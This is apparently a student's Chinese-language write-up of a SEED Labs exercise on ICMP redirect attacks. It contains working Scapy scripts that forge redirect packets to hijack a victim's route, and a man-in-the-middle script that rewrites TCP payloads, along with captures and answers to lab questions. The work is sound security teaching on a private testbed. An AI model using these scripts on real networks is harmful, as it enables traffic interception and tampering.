57118231 向颖

1

攻击代码

```
#!/usr/bin/python3
from scapy.all import *
ip = IP(src = '10.9.0.11', dst = '10.9.0.5')
icmp = ICMP(type=5, code=0)
icmp.gw = "10.9.0.105"

ip2 = IP(src = '10.9.0.5', dst = '192.168.60.5')
send(ip/icmp/ip2/ICMP());
```

攻击

```
1 2021-07-12 06:00:30.814130537   02:42:14:f5:c2:25   Broadcast           ARP      42 Who has 1
2 2021-07-12 06:00:30.814180016   02:42:0a:09:00:05   02:42:14:f5:c2:25   ARP      42 10.9.0.5
3 2021-07-12 06:00:30.835930091   10.9.0.11           10.9.0.5            ICMP     70 Redirect
```

攻击效果

```
root@79de4f93bac2:/# ip route show cache
192.168.60.5 via 10.9.0.111 dev eth0
    cache <redirected> expires 289sec
root@79de4f93bac2:/#
```

Q1

将攻击代码的网关改成实体主机的 ip 地址

```
#!/usr/bin/python3
from scapy.all import *
ip = IP(src = '10.9.0.11', dst = '10.9.0.5')
icmp = ICMP(type=5, code=0)
icmp.gw = "10.208.74.93"

ip2 = IP(src = '10.9.0.5', dst = '192.168.60.5')
send(ip/icmp/ip2/ICMP());
```

攻击结果

```
root@425ef7b23f07:/# ip route show cache
root@425ef7b23f07:/# ip route show cache
root@425ef7b23f07:/#
```

显然 ICMP 重定向无法重定向到远程主机上，因为 victim 无法找到不在 LAN 内的主机，无法将其设为网关

Q2

```python
#!/usr/bin/python3
from scapy.all import *
ip = IP(src = '10.9.0.11', dst = '10.9.0.5')
icmp = ICMP(type=5, code=0)
icmp.gw = "10.9.0.112"

ip2 = IP(src = '10.9.0.5', dst = '192.168.60.5')
send(ip/icmp/ip2/ICMP());
```

结果同 Q1，原因也是 victim 无法找到该网关

Q3

更改完后执行攻击，效果如下

```
root@425ef7b23f07:/# ping 192.168.60.5
PING 192.168.60.5 (192.168.60.5) 56(84) bytes of data.
64 bytes from 192.168.60.5: icmp_seq=1 ttl=63 time=0.094 ms
64 bytes from 192.168.60.5: icmp_seq=2 ttl=63 time=0.095 ms
64 bytes from 192.168.60.5: icmp_seq=3 ttl=63 time=0.166 ms
64 bytes from 192.168.60.5: icmp_seq=4 ttl=63 time=0.154 ms
64 bytes from 192.168.60.5: icmp_seq=5 ttl=63 time=0.075 ms
From 10.9.0.111: icmp_seq=6 Redirect Host(New nexthop: 10.9.0.11)
64 bytes from 192.168.60.5: icmp_seq=6 ttl=63 time=0.288 ms
64 bytes from 192.168.60.5: icmp_seq=7 ttl=63 time=0.170 ms
64 bytes from 192.168.60.5: icmp_seq=8 ttl=63 time=0.154 ms
64 bytes from 192.168.60.5: icmp_seq=9 ttl=63 time=0.167 ms
64 bytes from 192.168.60.5: icmp_seq=10 ttl=63 time=0.073 ms
^C
--- 192.168.60.5 ping statistics ---
```

可以看到虽然重定向到了 10.9.0.111，但由于该假路由器启用了重定向功能，该功能会告知使用非最优路径的主机最优的路径，因此 victim 又被重定向到了正确的路由器 10.9.0.11

2

攻击程序

```python
#!/usr/bin/env python3
from scapy.all import *
def spoof_pkt(pkt):
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].payload)
        del(newpkt[TCP].chksum)

        #print(pkt[TCP].payload)

        if pkt[TCP].payload:
                data = pkt[TCP].payload.load
                #print("*** %s, length: %d" % (data, len(data)))
                # Replace a pattern
                newdata = data.replace(b'seedlabs', b'AAAAAAAA')
                send(newpkt/newdata)
        else:
                send(newpkt)
f = 'tcp and dst 192.168.60.5'
pkt = sniff(iface='br-bd3d1e7fa5ee', filter=f, prn=spoof_pkt)
```

攻击效果

发送:

```
root@425ef7b23f07:/# nc 192.168.60.5 9090
aaa
aaa
AAA
seedlabs
```

接收:

```
root@ce2966e72577:/# nc -lp 9090
aaa
aaa
AAA
AAAAAAAA
```

成功将字符串 seedlabs 变成 AAAAAAAA 了

Q4

只需要抓从 victim 发出的包，因为只有 victim 主机被重定向到了 malicious router 所以我们可以修改其报文内容, 从另一端的主机发出的报文走的是正常路由所以没法修改也就不需要捕获

Q5

经过测试不管是用 ip 还是 mac 地址都能攻击成功，ip 缓存清空后两种攻击都不成功，因此不知道哪一个是正确的